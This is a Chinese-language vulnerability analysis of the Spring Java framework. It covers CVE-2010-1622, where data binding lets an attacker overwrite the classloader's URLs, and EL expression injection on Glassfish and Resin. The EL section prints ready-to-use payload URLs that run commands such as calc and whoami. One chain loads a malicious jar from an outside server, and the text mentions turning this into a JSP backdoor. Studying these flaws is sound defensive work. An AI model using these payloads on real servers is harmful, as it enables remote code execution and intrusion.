Spring框架问题分析

0x00 概述

Spring作为使用最为广泛的Java Web框架之一，拥有大量的用户。也由于用户量的庞大，Spring框架成为漏洞挖掘者关注的目标，在Struts漏洞狂出的如今，Spring也许正在被酝酿一场大的危机。

本文将针对Spring历史上曾出现的严重漏洞和问题，进行分析讨论这套框架可能存在的问题。

0x01 变量覆盖问题

CVE-2010-1622在Spring官方发布的漏洞公告中，被定义为任意代码执行漏洞。但是，这个问题的主要问题是由于，对私有成员保护不足，而导致的变量覆盖。从漏洞成因上来看并不能称为代码执行漏洞，只能算是变量覆盖，代码执行只不过是利用罢了。

Spring框架提供了一种绑定参数和对象的机制，可以把一个类绑定到一个Controller。然后在这个Contraller类中，将一个页面绑定到特定的处理方法中，这个方法可以把页面参数中，与对象成员对应的参数值赋予该成员。

例如：我绑定了一个User类，User类中存在一个成员name，绑定的页面名为test.html。那么如果我提交test.html?name=123，User类中的name便被赋予值为123。

当然这种使用方法是有前题的，就是这个成员是public或者提供set方法，否则是不能赋值的。这个漏洞就是这个限制出现了问题，导致数组类型的成员在非public且没有提供set方法的情况下，可以通过这种方式被赋值。我们下面来看负责这个功能实现的类对于数组参数的处理代码：

else if (propValue.getClass().isArray()) { Class requiredType = propValue.getClass().getComponentType(); int arrayIndex = Integer.parseInt(key); Object oldValue = null; try { if (isExtractOldValueForEditor()) { oldValue = Array.get(propValue, arrayIndex); } Object convertedValue = this.typeConverterDelegate.convertIfNecessary( propertyName, oldValue, pv.getValue(), requiredType); Array.set(propValue, Integer.parseInt(key), convertedValue); }

可以看出上面处理数组的代码中，没有对成员是否存在set方法进行判断。也没有通过调用成员的set方法进行赋值，而是直接通过Array.set方法进行赋值，绕过set方法的这个处理机制。

在漏洞发现者的博客上，提到了Java Bean的API Introspector. getBeanInfo 会获取到该POJO的基类Object.class的属性class,进一步可以获取到Class.class的诸多属性，包括classloader。

而Spring的org.springframework.beans.CachedIntrospectionResults.class类，正好通过这个API，遍历用户提交表单中有效的成员。这就意味着，结合这个漏洞，我们可以通过HTTP提交，来设置很多的私有成员，这真是太恐怖了！

下面我们来看看，如何将Spring这个特性和漏洞结合起来，进行利用。
之前我们提到了我们可以通过Java

Bean获取到classloader对象，而classloader中有一个URLs[]成员。Spring刚好会通过Jasper中的 TldLocationsCache类（jsp平台对jsp解析时用到的类）从WebappClassLoader里面读取url参数，并用来解析TLD文件在解析TLD的时候，是允许直接使用jsp语法的，所以这就出现了远程代码执行的最终效果。

好了，到这里我们整理下思路。通过漏洞我们可以对classloader的URLs[]进行赋值操作，然后Spring会通过平台解析，从URLs[]中提取它所需要的TLD文件，并在执行jsp是运行这个TLD所包含的内容。

有了这个思路，利用方法也就呼之欲出了。构造一个带有恶意TLD文件的jar，通过HTTP将jar的地址告诉URLs[]，然后坐等执行。
利用效果如图所示：

0x02 EL表达式注入问题

2012年12月国外研究者DanAmodio发表《Remote Code with Expression Language Injection》一文，拉开了Spring框架EL表达式注入的序幕。

随着表达式的愈加强大，使得原来本不应该出问题的情况，出现了一些比较严重的问题。而且Java Web框架一般都会有在核心代码使用表达式的坏习惯，Struts就是很好的例子。Spring的框架本身是不会存在代码执行的问题，但是随着EL表达式的强大，逐渐成为了问题。而且EL表达式是Java Web程序默认都会使用的一种表达式，这可能会在未来一段时间内成为Java Web程序的噩梦。

我通过代码跟踪定位到Spring最终执行EL表达式的代码：

private static Object evaluateExpression(String exprValue, Class resultClass, PageContext pageContext)
        throws ELException {

    return pageContext.getExpressionEvaluator().evaluate(
            exprValue, resultClass, pageContext.getVariableResolver(), null);
}

了解了Spring标签属性执行EL表达式的大体流程：首先通过标签类处理相关内容，将需要执行EL表达式的标签属性传入到evaluateString或者其他方法，但最终都将流入到doEvaluate方法中，经过一些处理将截取的属性值最为传入到evaluateExpression方法，最后evaluateExpression方法再将传入的属性值作为表达式交给平台去执行。

以上这些其实仅仅是对EL表达式注入问题分析的开始，因为真正实现执行的地方是平台，也就是说，不同的平台EL表达式的操作和执行也是不同的。因此，我分别针对Glassfish和Resin平台进行了测试，目前比较流行的Tomcat平台也进行了测试，但是由于它和Spring框架在EL表达式的实现上存在一些分歧，导致Tomcat平台下EL表达式不可以调用方法。

下面我们分别来看看Glassfish和Resin平台下，不同的利用方法。
先来看Glassfish下的利用，首先在我们另一台服务器上放置编译如下代码的jar文件：

public class Malicious { public Malicious() { try { java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } }       

然后我们通过EL表达式创建一个数组（URLClassLoader的构造函数需要URL数组作为参数），存放在session中，url为

http://target/file? message=${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}。  

下一步我们通过URI提供的create方法，可以创建一个URL实例，我们把这个实例保存在刚刚创建的数组中，url为

http://target/file?message= ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://serverip/Malicious.jar").toURL())}。  

Malicious.jar文件就是我们之前保存在另一台服务器中的jar文件。EL表达式中的PageContext类中getClassLoader方法得到的对象的父类便是URLClassLoader，所以，我们便可以调用newInstance方法了，url为

http://target/file?message= ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}。  

效果如下图所示：

下面我们来看下在Resin环境下的利用方法，先来看个直接的演示，访问链接：

http://localhost:8080/test.do?${pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}  

效果如下图所示：

我曾一度想要写出像Struts那样可以执行命令并回显的利用代码，但是由于EL表达式并没有提供变量和赋值的功能，让我不得不去想可以有相同的效果的方法。初步的思路是，利用EL可以存储任意类型session这个功能，对命令执行的结果流进行存储和处理，最后转换为字符串，打印到页面上。

我找到了打印任意内容到页面的方法，即通过EL提供的pageContext中response对象中的println方法。例如：访问

http://localhost:8080/test.do?a=${pageContext.response.getWriter().println('aaa')}  

会返回500错误，在错误中会显示我们的自定义内容：

下面只要将命令执行的结果流转换为String，输出给println函数即可。下面是按照我之前思路，构造的利用代码：

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami",null).getInputStream())}

${pageContext.request.getSession().setAttribute("b",pageContext.request.getClass().forName("java.io.InputStreamReader").getConstructor(pageContext.request.getClass().forName("java.io.InputStream")).newInstance(pageContext.request.getSession().getAttribute("a")))}

${pageContext.request.getSession().setAttribute("c",pageContext.request.getClass().forName("java.io.BufferedReader").newInstance(pageContext.request.getSession().getAttribute("b")))}

${pageContext.request.getSession().setAttribute("d",pageContext.request.getClass().forName("java.lang.Byte").getConstructor(pageContext.request.getClass().forName("java.lang.Integer")).newInsTance(51020))}

${pageContext.request.getSession().getAttribute("c").read(pageContext.request.getSession().getAttribute("d"))}

${pageContext.response.getWriter().println(pageContext.request.getSession().getAttribute("d"))}

首先将命令执行结果流存储至session属性a中；然后将a属性的内容作为初始化InputStreamReader对象的参数，并将对象存储至b属性；第三步将b属性中的内容作为参数初始化BufferedReader对象，并将对象存储至c属性；第四步初始化一个字符数组，存储至d属性中；第五步将c中的内容通过read方法，放入到d属性中，及转化为字符；最后print出d属性中内容。

但是这个思路我没有实现的最终原因是，通过EL使用反射初始化构造方法需要参数的对象时，参数类型和方法定义的参数类型总是不匹配。我想尽了我能想到的办法，最后还是找不到解决办法。

后面想到的一个可行的利用方法，是利用Glassfish平台下使用的方法，加载一个执行写文件到指定目录的jar包，来生成一个jsp后门。

Spring框架中几乎只有标签的部分使用了EL表达式，下面我们将罗列出这些使用EL表达式的标签。

form 中可执行 EL的标签：

1.    AbstractDataBoundFormElementTag

2.    AbstractFormTag

3.    AbstractHtmlElementTag

4.    AbstractHtmlInputElementTag

5.    AbstractMultiCheckedElementTag

6.    AbstractSingleCheckedElementTag

7.    CheckboxTag

8.    ErrorsTag

9.    FormTag

10.  LabelTag

11.  OptionsTag

12.  OptionTag

13.  RadioButtonTag

14.  SelectTag

Spring 标准标签库中执行 EL 的标签：

1.    MessageTag

2.    TransformTag

3.    EscapeBodyTag

4.    setJavaScriptEscape(String)

5.    EvalTag

6.    HtmlEscapeTag

7.    HtmlEscapingAwareTag

8.    UrlTag

9.    BindErrorsTag

10.  doStartTagInternal()

11.  BindTag

12.  NestedPathTag

0x03 总结

变量覆盖这个问题，相对于EL表达式注入来说算是个意外情况，修补之后不会有太多先关联的问题出现。而EL表达式这个问题，就有点象Struts的Ognl，是一个持续的问题，对于它的封堵，只能是见一个补一个。毕竟攻击者利用的就是EL提供的功能，我们总不 能因噎废食的要求EL不可以支持方法的调用。